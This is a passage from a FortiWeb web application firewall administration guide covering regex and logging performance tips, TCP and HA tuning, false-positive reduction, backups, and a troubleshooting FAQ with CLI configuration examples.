which can take a very long time to evaluate, especially if a long string does not match, but this cannot be determined until the very last character is evaluated.

In the above example, both the + and * indicate matches that repeat potentially infinitely, forcing the regular expression engine to continue until it finds the longest possible match (or runs out of RAM; see ["Killing system-intensive processes"](#) on page 801). Using both in a nested set of parentheses compounds the problem.

- Minimize capture groups and back-references such as:

```
(/a) (/b) / (c)
```

```
$0$1\?user=$2
```

To use back-references, FortiWeb must keep the text that matched the capture groups in memory, which increases RAM consumption.

- Order matters if using alternate match patterns (e.g., multiple patterns are concatenated with a pipe (|). Put rare patterns last. If you put less likely patterns first, most times FortiWeb will be evaluating the string multiple times—not once—before it finds a match. This significantly decreases performance.

When comparing single characters, use character classes such as:

```
[abc]
```

instead of alternative matches like

```
(a|b|c)
```

Match character by character, not word by word. If words begin with the same characters, it is not efficient to evaluate the beginning of the match string multiple times—once for each possible word.

For example, to match the words “the”, “then”, “this”, and “these”, this expression is easy to read, but inefficient because it evaluates the first two characters (“th”) up to 4 times:

```
\b(this|the|then|these)\b
```

While harder to read, this expression improves performance, evaluating “th” once, and will match the most common word in English (“the”) before considering less probable words:

```
\bth(e(n|se)|is)\b
```

- Reduce nested quantifiers such as:

```
(abc)+
```

```
(abc){1,6}
```

Worst-case evaluations do not increase computation time linearly, but exponentially. When such an expression is compiled, it also consumes much more RAM. Use the smallest possible repetition, or an alternative expression.

- Avoid Unicode character properties such as `/p{Nd}` if you can use a character class instead. Due to the huge numbers and complexity of potential matches in Unicode, these can be dramatically slower.
- Avoid look-ahead match conditions such as:

```
?!abcdefg
```

```
?=abcdefg
```


To do this, FortiWeb must make additional computations—in the example above, 8 in the best case scenario, an immediate match. FortiWeb also must keep the originally consumed match string in memory while it does this, which increases RAM consumption.

Logging performance

- If you have a FortiAnalyzer, store FortiWeb's logs on the FortiAnalyzer to avoid resource usage associated with writing logs to FortiWeb's own hard disks. For details, see ["Configuring log destinations"](#) on page 695.
- If you do not need a traffic log, disable it to reduce the use of system resources. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693.
- Reduce repetitive log messages. Configure the alert email settings to define the interval that emails are sent if the same condition persists following the initial occurrence. For details, see ["Configuring email settings"](#) on page 712.
- Avoid recording log messages using low severity thresholds, such as information or notification, to the local hard disk for an extended period of time. Excessive logging frequency saps system resources and can cause undue wear on the hard disk and may cause premature failure. For details, see ["Configuring log destinations"](#) on page 695.

Report performance

Generating reports can be resource intensive. To avoid performance impacts, consider scheduling report generation during times with low traffic volume, such as at night and on weekends. For details, see ["Scheduling reports"](#) on page 727.

Keep in mind that most reports are based upon log messages. All caveats regarding log performance also apply.

Auto-learning performance

- Each URL in an auto-learning report includes the right-click menu option **Stop Learning**. If a URL is dynamic or hard to predict effectively and may generate inaccurate data, you can improve performance by pausing or stopping auto-learning for that URL. For details, see ["Viewing auto-learning reports"](#) on page 229.
- Once you have collected enough auto-learning data for generating protection profiles, consider turning off the auto-learning function to save resources. To do so, deselect the auto-learning profile in applicable server policies. For details, see ["How operation mode affects server policy behavior"](#) on page 257.
- Use less computationally intensive data types and suspicious URLs, and disable unneeded ones where possible. For details, see ["Regular expression performance tips"](#) on page 747.
- Reduce the list of predefined data type groups to include just those that FortiWeb is likely to encounter when gathering data for an auto-learning report. By pruning the list, you reduce the resources used to recognize data types, freeing them to improve the throughput of the FortiWeb appliance. For details, see ["Grouping predefined data types"](#) on page 220.
- When configuring a suspicious URL pattern, clear one or more web server type options if you do not use those web servers. By pruning the list, you reduce the resources used by the FortiWeb appliance when applying the rule. For details, see ["Grouping all suspicious request URLs"](#) on page 224.
- When you configure a signature set as part of a web protection profile, consider limiting the scope and application of the **Information Disclosure** options. For details, see ["Information Disclosure"](#) on page 511.

The **Information Disclosure** feature can potentially require the FortiWeb appliance to rewrite the header of every request from a server, resulting in reduced performance. Fortinet recommends enabling this feature only to help you identify information disclosure through logging, and until you can reconfigure the server to omit such sensitive information.

- Do you need to watch for all information types? If not, disable them to increase performance. Disable signatures that do not apply to your web servers. For example, if your web server does not run Adobe ColdFusion, you could disable **CF Source Code Leakage** to omit that scan and improve performance. For details, see ["Blocking known attacks & data leaks"](#) on page 505
- If you use the web anti-defacement feature, tune your configuration to avoid backing up overly large files. For details, see ["Anti-defacement"](#) on page 597

From **Web Protection > Web Anti-Defacement > Create New > Anti Defacement**:

- Unless you need to back up large files, reduce the setting for the **Skip Files Larger Than** option from the default of 10240 KB. For details, see ["Skip Files Larger Than"](#) on page 600.
- Use the **Skip Files With These Extensions** option to exclude specific types of large files, such as compressed files and video clips. For details, see ["Skip Files With These Extensions"](#) on page 600.

Vulnerability scan performance

Vulnerability scan performance depends on the speed and reliability of your network. It also can be impacted by your configuration. For details, see ["Delay Between Each Request"](#) on page 655.

Packet capture performance

Packet capture can be useful for troubleshooting but can be resource intensive. To minimize the performance impact on your FortiWeb appliance, use packet capture only during periods of minimal traffic. Use a local console CLI connection rather than a Telnet or SSH CLI connection, and be sure to stop the command when you are finished. For details, see ["Packet capture"](#) on page 780.

TCP transmission performance tuning

FortiWeb allows you to tune TCP transmission performance by adjusting the buffer parameter of TCP connections through the CLI over high-bandwidth, high-latency networks. Large-size file transmissions (usually larger than 150MB) or serious traffic congestion between FortiWeb and backend servers is a common situation that might cause clients to experience poor TCP performance.

The `tcp-buffer` option in `system network-option` defines the TCP_mem variable to indicate to FortiWeb how the TCP stack should behave regarding memory usage. It consists of three values (the values are measured in memory pages):

- **low**: This value indicates the performance value for a desired low memory usage threshold. Below this point, the TCP stack does not adjust the memory usage by interacting with TCP receive and send buffers for the sockets.
- **pressure**: This value tells FortiWeb the point at which it must start pressuring memory usage down. Memory pressure is continued until the memory usage enters the low threshold and it maintains the default behavior of the low threshold. This downward pressure is applied by adjusting the TCP receive and send buffers for the sockets until the low threshold performance can be maintained.
- **high**: This value indicates the maximum memory pages FortiWeb may use. If this value is reached, TCP streams and packets are dropped until FortiWeb begins using fewer memory pages again.

Setting the `tcp-buffer` option as `default`, `high`, or `max` from the CLI specifies the three values to FortiWeb as following:

```
while tcp-buffer=default, (low, pressure, high) = (16384, 32768, 65536)
```

```
while tcp-buffer=high, (low, pressure, high) = (16384, 87380, 629145)
```

```
while tcp-buffer=max, (low, pressure, high) = (16384, 174760, 1258290)
```

Note that although the `tcp-buffer` option can provide an increase in throughput on high bandwidth networks, it decreases the number of concurrent TCP connections established on FortiWeb.

Example

```
config system network-option
    set tcp-buffer high
end
```

Improving fault tolerance

To enhance availability, set up two FortiWeb appliances to act as an active-passive high availability (HA) pair. If your main FortiWeb appliance fails, the standby FortiWeb appliance can continue processing web traffic with only a minor interruption. For details, see ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137.

Keep these points in mind when setting up an HA pair:

- Isolate HA interface connections from your overall network.

Heartbeat and synchronization packets contain sensitive configuration information and can consume considerable network bandwidth. For best results, directly connect the two HA interfaces using a crossover cable. If your system uses switches instead of crossover cables to connect the HA heartbeat interfaces, those interfaces must be reachable by Layer 2 multicasts.

- When configuring an HA pair, pay close attention to the options [ARP/NS Packet Numbers](#) (page 147) and [ARP/NS Packet Interval\(sec\)](#) (page 147).

FortiWeb broadcasts ARP/NS packets to the network to ensure timely failover. Delayed broadcast intervals can slow performance. Set the value of [ARP/NS Packet Numbers](#) (page 147) no higher than needed.

When FortiWeb broadcasts ARP/NS packets, it does so at regular intervals. For performance reasons, set the value for [ARP/NS Packet Interval\(sec\)](#) (page 147) no greater than required.

Some experimentation may be needed to set these options at their optimum value. For details, see ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137.

Alerting the SNMP manager when HA switches the primary appliance

Use SNMP to generate a message if the HA heartbeat fails.

Configure an SNMP community and enable the **HA heartbeat failed** option. For details, see ["Configuring an SNMP community"](#) on page 716.



Reducing false positives

Focusing your energies on real attacks is vital. But often attacks differ from normal traffic in subtle ways that can cause confusion. How many of your attack logs are real, and how many are false positives?

Are 20 requests per second per client a DoS attack? Is a request URL with 250 characters abnormally long? Should form inputs allow SQL queries?

Normal traffic is your best judge. Use it to adjust your FortiWeb's protection settings and reduce attack logs that aren't meaningful.

For example, social media buttons for Twitter append an encoded version of your web page's URL as long parameters named `original_referer` and `url` after the request URL to `twitter.com`.




This is normal, and used by Twitter to pre-fill the viewer's tweet about your website. This way, your readers do not need to manually abbreviate and then paste your URL into their tweet. Long request URLs (and parameters) are therefore typical for Twitter, and therefore would **not** necessarily be indicative of a security bypass attempt.

On other web applications, however, where URLs and parameters are short, URLs as long parameters might be suspicious—it could be part of a clickjacking, URL-encoded shell code, or padded exploit. In those cases, you might create a shorter HTTP constraint. For details, see "[HTTP/HTTPS protocol constraints](#)" on page 568.

Likewise, a single corporate front page or Zenphoto gallery page might involve 81 requests for images, JavaScripts, CSS pages, and other external components. A search page, however, might normally only have 6 requests, and merit a lower threshold when configuring rate limiting. For details, see "[Rate limiting](#)" on page 604.

This means that "normal" is often relative to your web applications.



New HTTP Access Limit

Name	request-rate-limit1	
HTTP Request Limit/sec (Standalone IP)	20	(0~65536)
HTTP Request Limit/sec (Shared IP)	60	(0~65536)

Limits the amount of HTTP requests per second from a certain IP

Real Browser Enforcement ☒

Validation Timeout 20 Seconds (5 - 30)

When checked FortiWeb will validate the source once exceeds the request threshold. Validation must occur in the timeout defined or the below action will be executed

Action Alert

Block Period 60 Seconds (1 - 10000)

Severity Medium

Trigger Policy Please Select

Request rate is too low for site A, but ok for site B.

If practical, use FortiWeb's auto-learning to study traffic and suggest appropriate rules. Alternatively, you can enable a feature with the **Action** (page 507) set to **Alert**, then adjust the thresholds, create exceptions, or disable signatures until you no longer receive many false positives, yet still detect attacks. Enable extended attack signature sets gradually, checking for excessive false positives after you enable each one. Extended signature sets can contain signatures that are necessary in some cases, but are known sources of false positives.

For SQL Injection detection, you can also enable False Positive Mitigation to reduce false positives. For details, see "False Positive Mitigation for SQL Injection signatures" on page 515.

New Signature Policy

Name *Use False Positive Mitigation to reduce false positives for SQL Injection detections.*

Custom Signature Group Please Select *Use Alert to monitor for false positives before using Alert & Deny.* [Detail...](#)

Comments 0/199

Name	Status	False Positive Mitigation	Action	Block Period	Severity	Trigger Action
Cross Site Scripting	☒		Period Block	60	High	Please Select
Cross Site Scripting (Extended)	☒	☒	Alert	60	Medium	
SQL Injection	☒	☒	Period Block	60	High	Please Select
SQL Injection (Extended)	☒	☒	Alert	60	Medium	Please Select
SQL Injection (Syntax Based Detection)	☐		Alert	60	High	
Generic Attacks	☒		Period Block	60	High	Please Select
Generic Attacks(Extended)	☒		Period Block	60	Medium	Please Select
Known Exploits	☒		Period Block	60	High	Please Select
Trojans	☒		Period Block	60	Medium	Please Select
Information Disclosure	☒		Erase & Alert	60	Low	Please Select
Bad Robot	☒		Alert	60	High	
Credit Card Detection	☒		Erase & Alert	60	High	Please Select

Credit Card Detection Threshold 1



If a signature causes false positives, but disabling it would allow attacks, you can use packet capture and analysis tools such as Wireshark to analyze the differences between your typical traffic and attacks, then craft a custom signature (see "Defining custom data leak & attack signatures" on page 525) targeting the attacks but excluding your normal traffic.

If you need to save time, or don't feel comfortable doing this, you can contact Fortinet Technical Support for professional services at:

http://www.fortinet.com/support/forticare_support/professional_svcs.html

If you have written an attack signature yourself, or used regular expressions to define large sets of web pages where you will be applying rate limiting, be sure to use the >> (test) button with **Request URL** (page 554) and other similar settings to check:

- your regular expression's syntax (see ["Regular expression syntax"](#) on page 829)
- all expected matches
- all non-matches

Regular expressions that do not match enough attack permutations cause false negatives; regular expressions that match unintended traffic cause false positives.

Regular backups

Make a backup before executing operations that can cause large configuration changes, such as:

- Upgrading the firmware
- Running the CLI commands `execute factoryreset` or `execute restore`
- Clicking the **Reset** button in the **System Information** widget on the dashboard
- Changing the operation mode

To mitigate impact in the event of a network compromise, always password-encrypt your backups.

There are two backup methods:

- Manual (see ["To back up the configuration via the web UI"](#) on page 325)
Go to **System > Maintenance > Backup & Restore**, and select the **Local Backup** tab.
- Via FTP/SFTP (see ["To back up the configuration via the web UI to an FTP/SFTP server"](#) on page 325).
Go to **System > Maintenance > Backup & Restore**, and select the **FTP Backup** tab.



To lessen the impact on performance, schedule the FTP backup time for off-peak hours.

Downloading logs in RAM before shutdown or reboot

Event log messages stored in memory are cleared when the FortiWeb appliance shuts down. If you require the ability to save a few logs, you can copy and paste the HTML from the GUI page that is displaying the memory logs. Otherwise, if you need to be able to keep and download many logs, you should instead configure FortiWeb to store event logs on disk. For details, see ["Configuring logging"](#) on page 693 and ["Downloading log messages"](#) on page 709.

Downloading logs in RAM before shutdown or reboot

Event log messages stored in memory are cleared when the FortiWeb appliance shuts down. If you require the ability to save a few logs, you can copy and paste the HTML from the GUI page that is displaying the memory logs. Otherwise, if you need to be able to keep and download many logs, you should instead configure FortiWeb to store event logs on disk. For details, see ["Configuring logging"](#) on page 693 and ["Downloading log messages"](#) on page 709.

Troubleshooting

This section provides guidelines to help you resolve issues if your FortiWeb appliance is not behaving as you expect.

Keep in mind that if you cannot resolve the issue on your own, you can contact Fortinet Customer Service & Support:

<https://support.fortinet.com>

See also

- "Frequently asked questions" on page 756
- "Tools" on page 778
- "How to troubleshoot" on page 787
- "Solutions by issue type" on page 788
- "Resetting the configuration" on page 809
- "Restoring firmware ("clean install")" on page 810

Frequently asked questions

Administration

How do I recover the password of the admin account?
What is the maximum number of ADOMs I can create?
How do I upload and validate a license for FortiWeb-VM?
How do I troubleshoot a high availability (HA) problem?

FortiGuard

Why did the FortiGuard service update fail?

Access control and rewriting

Why is URL rewriting not working?
How do I create a custom signature that erases response packet content?
How do I reduce false positives and false negatives?
Why is FortiWeb not forwarding non-HTTP traffic (for example, RDP, FTP) to back-end servers even though set ip-forward is enabled?
How do I prevent cross-site request forgery (CSRF or XSRF) with a custom rule?
Why does my Advanced Protection rule that has both Signature Violation and HTTP Response Code filters not detect any violations?
What's the difference between the Packet Interval Timeout and Transaction Timeout filters in an Advanced Protection rule?
What ID numbers do I use to specify a Signature Violation filter when I use the CLI to create a custom access rule?

Why is the Signature Violation filter I added to my Advanced Protection custom rule not working?

Why don't my back-end servers receive the virtual server IP address as the source IP?

Logging and packet capture

Why do I not see HTTP traffic in the logs?

Why do I see HTTP traffic in the logs but not HTTPS traffic?

How do I store traffic log messages on the appliance hard disk?

Why is the most recent log message not displayed in the Aggregated Attack log?

How can I sniff FortiWeb packets (packet capture)?

How do I trace packet flow in FortiWeb?

Why is the number of cookies reported in my attack log message different from the number of cookies that message detail displays?

Why does the attack log message display the virtual server IP address as the destination IP instead of the IP address of the back-end server that was the target of the attack?

Security

How do I detect which cipher suite is used for HTTPS connections?

How can I strengthen my SSL configuration?

Why can't a browser connect securely to my back-end server?

Performance

How do I use performance tests to determine maximum performance?

How can I measure the memory usage of individual processes?

IPMI (FortiWeb 3000E and 4000E only)

How can I use IPMI to shut down or power on FortiWeb remotely?

Upgrade

How do I reformat the boot device (flash drive) when I restore or upgrade the firmware?

How do I set up RAID for a replacement hard disk?

How do I recover the password of the admin account?

If you forget the password of the `admin` administrator, you cannot recover it.

However, you can use the local console to reset the password. For details, see ["Resetting passwords"](#) on page 803.

Alternatively, you can reset the FortiWeb appliance to its default state (including the default administrator account and password) by restoring the firmware. For details, see ["Restoring firmware \(\"clean install\"\)"](#) on page 810.

What is the maximum number of ADOMs I can create?

The maximum number of Administrative domains (ADOMs) you can define depends on the appliance model and, in the case of virtual appliances, the amount of vRAM allocated to FortiWeb.

For details, see ["Maximum ADOMs, policies and server pools \(per appliance\)"](#) on page 817.

How do I upload and validate a license for FortiWeb-VM?

FortiWeb-VM includes a free 15-day trial license that includes all features except:

- High availability (HA)
- FortiGuard updates
- Technical support

Once the trial expires, most functionality is disabled. You need to purchase a license to continue using FortiWeb-VM.

When you purchase a license for FortiWeb-VM, Fortinet Customer Service & Support (<https://support.fortinet.com>) provides a license file that you can use to convert the trial license to a permanent, paid license.

You can upload the license via the web UI. The uploading process does not interrupt traffic or trigger an appliance reboot.



FortiWeb-VM requires an Internet connection to periodically re-validate its license. It cannot be evaluated in offline, closed network environments. If FortiWeb-VM cannot contact Fortinet's FDN for 24 hours, it locks access to the web UI and CLI.

For detailed instructions for accessing the web UI and uploading the license, see the FortiWeb-VM Install Guide:

<http://docs.fortinet.com/fortiweb/hardware>

To upload the license

1. Go to the FortiWeb-VM web UI.

For hypervisor deployments, the URL is the default IP address of `port1` of the virtual appliance, such as `https://192.168.1.99/`.

For FortiWeb-VM deployed on AWS, the URL is the public DNS address displayed in the instance information for the appliance in your AWS console.

2. Log in to the web UI as the `admin` user.

For hypervisor deployments, by default, the `admin` user does not use a password.

For AWS deployments, by default, the password is the AWS instance ID.

3. Go to **System > Status > Status**. The **FortiGuard Information** widget contains the link you use to upload a license file.

4. Click **Update**.

5. Browse to the license file (`.lic`) you downloaded earlier from Fortinet, then click **OK**.

FortiWeb connects to Fortinet to validate its license. In most cases, the process is complete within a few seconds. A message appears:

```
License has been uploaded. Please wait for authentication with registration servers.
```

6. In the message box, click **Refresh**.

If you uploaded a valid license, the following message is displayed:

```
License has been successfully authenticated with registration servers.
```

The web UI logs you out. The login dialog reappears.

7. Log in again.
8. To verify that the license was uploaded successfully, log in to the web UI again, then view the **FortiGuard Information** widget. The **VM License** row should say **Valid**.

Also view the **System Information** widget. The **Serial Number** row should have a number that indicates the maximum number of vCPUs that can be allocated according to the FortiWeb-VM software license, such as **FVVM020000003619** (where “VM02” indicates a limit of 2 vCPUs).

How do I troubleshoot a high availability (HA) problem?

If a high availability (HA) cluster is not behaving as expected, use the following troubleshooting steps to help find the source of the problem:

1. Ensure the physical connections are correct:
 - Ensure that the physical interfaces that FortiWeb monitors to check the status of appliances in the cluster (**Port Monitor** in HA configuration) are in the same subnet.
 - Ensure that the HA heartbeat link ports are connected through crossover cables. Although the feature works if you use switches make the connection, Fortinet recommends a direct connection.
2. Ensure the following HA configuration is correct:
 - Ensure that the cluster members have the same **Group ID** value, and that no other HA cluster uses this value.
 - Specify different **Device Priority** values for each member of the cluster and select the **Override** option. This configuration ensures that the higher priority appliance (the one with the lowest value) is maintained is the master as often as possible.
3. Use the following commands to collect information about the HA cluster:

<code>get system status</code>	Displays information about current HA cluster members, including:
<code>get global system status (if ADOMs are enabled)</code>	• HA mode • HA Status • Serial number • Priority • HA role Helps confirm if the 2 appliances are part of the same cluster and which one is the master.
<code>execute ha md5sum</code>	Retrieves the CLI system configuration MD5 from the 2 appliances in a HA cluster. Helps confirm whether HA configuration is synchronized.
<code>execute ha disconnect</code>	Run on master appliance to disconnect slave without disconnecting cables. You can then connect to the slave as if it were a standalone appliance for troubleshooting purposes.

```
execute ha manage
```

If the **Override** option is selected, you can run this command on the master appliance to assign a higher priority to the slave appliance, which manually triggers a HA failover.

You specify the serial number of the slave appliance and the new priority. For example:

```
execute ha manage FV-1KC3R11111111 1
```

```
execute ha
synchronize
config
```

Manually triggers configuration synchronization:

```
execute ha
synchronize irdb
execute ha
synchronize waf
```

- config—Only the core CLI configuration file (fwb_system.conf) and auxiliary files such as X.509 certificates.
- irdb—Only the IP Reputation Database (IRDB).
- waf—Entire configuration, including CLI configuration, system files, and databases.

Also refreshes the md5sum value, which you use to confirm synchronization status.

```
execute ha
synchronize avupd
execute ha
synchronize geodb
```

Manually triggers synchronization of a database file:

- avupd—The FortiGuard Antivirus service package.
- geodb—The geography-to-IP address mappings.

You can only trigger this type of synchronization manually.

```
execute ha
synchronize start
execute ha
synchronize stop
```

Use to stop or start synchronization during debugging.

```
diagnose debug
application hasync 1
```

Configures the debug logs for HA synchronization to display messages about the automatic configuration synchronization process, commands that failed, and the full configuration synchronization process.

Run on both members of the HA cluster to confirm configuration synchronization and communication between the appliances.

Alternatively, use the following command to configure HA synchronization debug logs to display all messages:

```
diagnose debug application hasync -1
```

Before you run this command, run the following commands to turn on debug log output and enable timestamps:

```
diagnose debug enable
diagnose debug console timestamp enable
```

```
diagnose debug
application hataalk 1
```

Configures the debug logs for HA heartbeat links to display messages about the heartbeat signal, HA failover, and the uptime of the members of the HA cluster.

Alternatively, use the following command to configure HA heartbeat debug logs to display all messages:

```
diagnose debug application hataalk -1
```

Before you run this command, run the following commands to turn on debug log output and enable timestamps:

```
diagnose debug enable
diagnose debug console timestamp enable
```

4. If your HA cluster is deployed in a custom environment, following commands provide useful information for troubleshooting (run on both members of the cluster):

```
get system status
diagnose debug application hataalk 1
diagnose debug application hasync 1
execute ha sync waf
execute ha md5sum
```

For detailed information about these commands, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

For detailed information about HA topology and configuration, see "HA heartbeat & synchronization" on page 76 and "Configuring a high availability (HA) FortiWeb cluster" on page 137.

How do I upload a file to or download a file from FortiWeb?

To upload a file

1. To enable the file uploading and downloading functionality, use the CLI to enter the following commands:

```
config system settings
  set enable-file-upload enable
end
```

2. In the web UI, go to **System > Maintenance > Backup & Restore**, and select the **Local Backup** tab.

At the bottom of the page, under **GUI File Download/Upload**, click **Choose File** to navigate to a file and select it, and then click **Upload** to copy it to FortiWeb.

When the upload is complete, the file is displayed in the File Name list.

3. To maintain security, use the following CLI commands to disable the file uploading functionality:

```
config system settings
  set enable-file-upload disable
end
```

To download a file

1. To enable the file uploading and downloading functionality, use the CLI to enter the following commands:

```
config system settings
  set enable-file-upload enable
end
```

2. In the web UI, go to **System > Maintenance > Backup & Restore**, and select the **Local Backup** tab.

3. At the bottom of the page, under GUI File Download/Upload, click the download icon for the file you want to download.
4. To maintain security, use the following CLI commands to disable the file uploading functionality:

```
config system settings
    set enable-file-upload disable
end
```

Why did the FortiGuard service update fail?

If your automatic FortiGuard service update is not successful, complete the following troubleshooting steps:

1. Ensure that your firewall rules allow FortiWeb to access the Internet via TCP port 443.

This is the port that FortiWeb uses to poll for and download FortiGuard service updates from the FortiGuard Distribution Network (FDN).

2. Ensure FortiWeb can communicate with the DNS server.

When it performs the initial FortiGuard service update, FortiWeb requires access to the DNS server to resolve the domain name `fds.fortinet.com` to the appropriate host name.

3. Because the size of the virus signature database exceeds 200MB, an unstable network can interrupt the TCP session that downloads the database. If the download fails for this reason, obtain the latest version of the virus signature database from `support.fortinet.com` and perform the update manually. For details, see "Uploading signature & geography-to-IP updates" on page 197.

FortiWeb resumes automatic updates of the database at the next scheduled time.

4. If the previous steps do not solve the problem, use the following commands to obtain additional information:

```
diagnose debug enable
diagnose debug application fds 7
```

If you need to contact Fortinet Technical Support for assistance, provide the output of these diagnose debug commands and a configuration file.

For more information about these commands, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

For additional methods for verifying FortiGuard connectivity, see "Connecting to FortiGuard services" on page 187.

Why is URL rewriting not working?

If FortiWeb is not rewriting URLs as expected, complete the following troubleshooting steps:

1. Ensure the value of **Action Type** is correct.

Request Action rewrites HTTP requests from clients, and **Response Action** rewrites responses to clients from the web server.

2. Ensure that you have added items to the URL Rewriting Condition Table.
3. If one of your conditions uses a regular expression, ensure that the expression is valid. Click the >> (double arrow) button beside the **Regular Expression** field to test the value.

For an online guide for regular expressions, go to:

<http://www.regular-expressions.info/reference.html>

For an online library of regular expressions, go to:

<http://regexlib.com>

4. If the page is compressed, ensure that you have configured a decompression policy.

For details, see "[Configuring temporary decompression for scanning & rewriting](#)" on page 647.

5. Go to **System > Config > Advanced** and adjust the value of **Maximum Body Cache Size** (page 672).

URL body rewriting does not work when the page is larger than the cache buffer size. The default size is 64KB.

To adjust the buffer using the CLI, use a command like the following example:

```
config global
  config sys advanced
    set max-cache-size 1024
  end
end
```

6. Ensure that FortiWeb supports the page's Content-Type, which specifies its MIME type. FortiWeb supports the following Content-Type values only:

- text/html
- text/plain
- text/javascript
- application/xml
- text/xml
- application/javascript
- application/soap+xml
- application/x-javascript
- application/json
- application/rss+xml

How do I create a custom signature that erases response packet content?

1. Create a custom signature rule that includes the following values:

Direction	Response
Expression	Either a simple string or a regular expression that matches the response to erase.
Action	Alert & Erase The erase action replaces the content specified by Expression with xxx.

2. Add an appropriate target:

- RESPONSE_BODY

If the page is compressed, ensure that you have configured a decompression policy. Otherwise, the erase action does not work.

For details, see ["Configuring temporary decompression for scanning & rewriting"](#) on page 647.

- RESPONSE_HEADER
- RESPONSE_STATUS

The RESPONSE_STATUS is not erased in the raw packet.

If the target is RESPONSE_HEADER or RESPONSE_STATUS, the body of the response is still displayed.

3. Add the rule to a custom signature group, and then add the group to a signature policy that you can add to an inline or Offline Protection profile.

For detailed custom signature creation instructions, see ["Defining custom data leak & attack signatures"](#) on page 525.

How do I reduce false positives and false negatives?

If FortiWeb is identifying legitimate requests as attacks (false positives), complete the following troubleshooting steps:

1. If your web protection profile uses a signature policy in which the extended version of a signature set is enabled (for example, [Cross Site Scripting](#) (page 509)), disable it.

The extended signature sets detect a wider range of attacks but are also more likely to generate false positives.

For details, see ["Blocking known attacks & data leaks"](#) on page 505.

2. Specify the appropriate URL as an exception in the signature configuration. To create this exception, click either the **Exception** link in the **Message** field of the attack log item or **Advanced Mode** in the **Edit Signature Policy** dialog box.

For details, see ["Configuring action overrides or exceptions to data leak & attack detection signatures"](#) on page 519.

3. If the configuration changes do not solve the problem, capture the packet that FortiWeb has incorrectly identified as an attack and contact Fortinet Technical Support for assistance.

Fortinet can resolve the issue by modifying the attack signature.

If FortiWeb is identifying attacks as legitimate requests (false negatives), complete the following troubleshooting steps:

1. Use the **Advanced Mode** option to ensure that the signature policy that your web protection profile uses has the following configuration:
 - All the appropriate signatures are enabled.
 - The enabled signatures do not have exceptions that permit the attack packets.
2. If your signature configuration is correct, capture the packet that FortiWeb did not identify as an attack and contact Fortinet Technical Support for assistance.

Fortinet can resolve the issue by adding an attack signature. In the meantime, you can resolve the problem by creating a custom signature. For details, see "[Defining custom data leak & attack signatures](#)" on page 525.

For additional information about reducing false positives, see "[Reducing false positives](#)" on page 751.

Why is FortiWeb not forwarding non-HTTP traffic (for example, RDP, FTP) to back-end servers even though set ip-forward is enabled?

The config router setting command allows you to change how FortiWeb handles non-HTTP/HTTPS traffic when it is operating in Reverse Proxy mode.

When the setting `ip-forward` is enabled, for any non-HTTP/HTTPS traffic with a destination other than a FortiWeb virtual server (for example, a back-end server), FortiWeb acts as a router and forwards it based in its destination address.

However, any non-HTTP/HTTPS traffic destined for a virtual server on the appliance is dropped.

Therefore, if you require clients need to reach a back-end server using FTP or another non-HTTP/HTTPS protocol, ensure the client uses the back-end server's IP address.

For more detailed information about this setting and a configuration that avoids this problem, see the "Router setting" topic in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

How do I prevent cross-site request forgery (CSRF or XSRF) with a custom rule?

A cross-site request forgery attack takes advantage of the trust that a site has in a client's browser to execute unwanted actions on a web application.

To add an advanced access control rule that detects cross-site request forgery (CSRF)

1. Go to **Web Protection > Advanced Protection > Custom Policy**, and select the **Custom Rule** tab.
2. Click **Create New**.
3. Configure the action and trigger settings for the rule.

For detailed information on these settings, see "[Combination access control & rate limiting](#)" on page 480.

4. Click **Create New** to add a rule entry.
5. For **Filter Type**, select **HTTP Header**, and then click **OK**.
6. Configure these settings:

Header Name	Referer
Header Value Type	Regular Expression
Header Value	A regular expression that matches the address of your website. For example, if your website is <code>http://211.24.155.103/</code> , use the following expression: <code>^http://211\.\.24\.\.155\.\.103.*</code>

7. Click **OK** to save the rule entry, and then click **OK** to save the rule.
8. Go to **Web Protection > Advanced Protection > Custom Policy**, and select the **Custom Policy** tab to group the custom rule into a policy.

For details about creating policies, see ["Combination access control & rate limiting"](#) on page 480.

9. To apply the policy, select it as the **Custom Policy** (page 265) in a protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.

Attack log messages contain `Custom Access Violation` when this feature detects an unauthorized access attempt.

Why does my Advanced Protection rule that has both Signature Violation and HTTP Response Code filters not detect any violations?

When you use **Web Protection > Advanced Protection > Custom Policy > the Custom Rule tab** to create a custom rule, FortiWeb links items in the list of filters with an AND operator. It uses the rule to evaluate both requests and responses. When the rule has both a Signature Violation and a HTTP Response Code filter, a malicious request violates the signature filter and the corresponding response matches the response code filter. But neither the request nor the response can violate both filters at the same time to generate a match.

To solve this problem, create a separate custom rule for each type of filter. For details, see ["Combination access control & rate limiting"](#) on page 480.

What's the difference between the Packet Interval Timeout and Transaction Timeout filters in an Advanced Protection rule?

Both Packet Interval Timeout and Transaction Timeout protect against DoS attacks. In most cases, the attacks are some form of slow HTTP attack.

Packet Interval Timeout evaluates the time period between packets that arrive from either the client or server (request or response packets). If the time exceeds the maximum the timeout specifies, FortiWeb takes the action specified in the rule.

However, other types of slow attacks can keep the server occupied and still maintain a minimal data flow. For example, if an attack sends a byte of data per second, it can continue a GET request indefinitely but stay within the Packet Interval Timeout.

The Transaction Timeout evaluates the time period for a transaction—a GET or POST request and its complete reply. In most cases, a transaction lasts no longer than a few milliseconds or, for slower applications, a few seconds.

To detect the widest range of attacks, specify both Packet Interval Timeout and Transaction Timeout filters when you create an Advanced Protection rule.

For details, see ["Combination access control & rate limiting"](#) on page 480.

What ID numbers do I use to specify a Signature Violation filter when I use the CLI to create a custom access rule?

The `waf custom-access rule` command allows you to configure custom access rules, which can include Signature Violation filters. When you configure the `signature-class` option, use one of the following IDs to specify the category of signature to match:

Cross Site Scripting	01000000
Cross Site Scripting (Extended)	02000000
SQL Injection	03000000
SQL Injection (Extended)	04000000
Generic Attacks	05000000
Generic Attacks (Extended)	06000000
Known Exploits	09000000

For example, the following command creates a custom rule that detects SQL injection attacks, such as blind SQL injection:

```
config waf custom-access rule
  edit "sql-inject"
    set action block-period
    set severity High
    set trigger "notification-servers1"
    config signature-class
      edit 03000000
        set status enable
      next
    end
  next
end
config waf custom-access policy
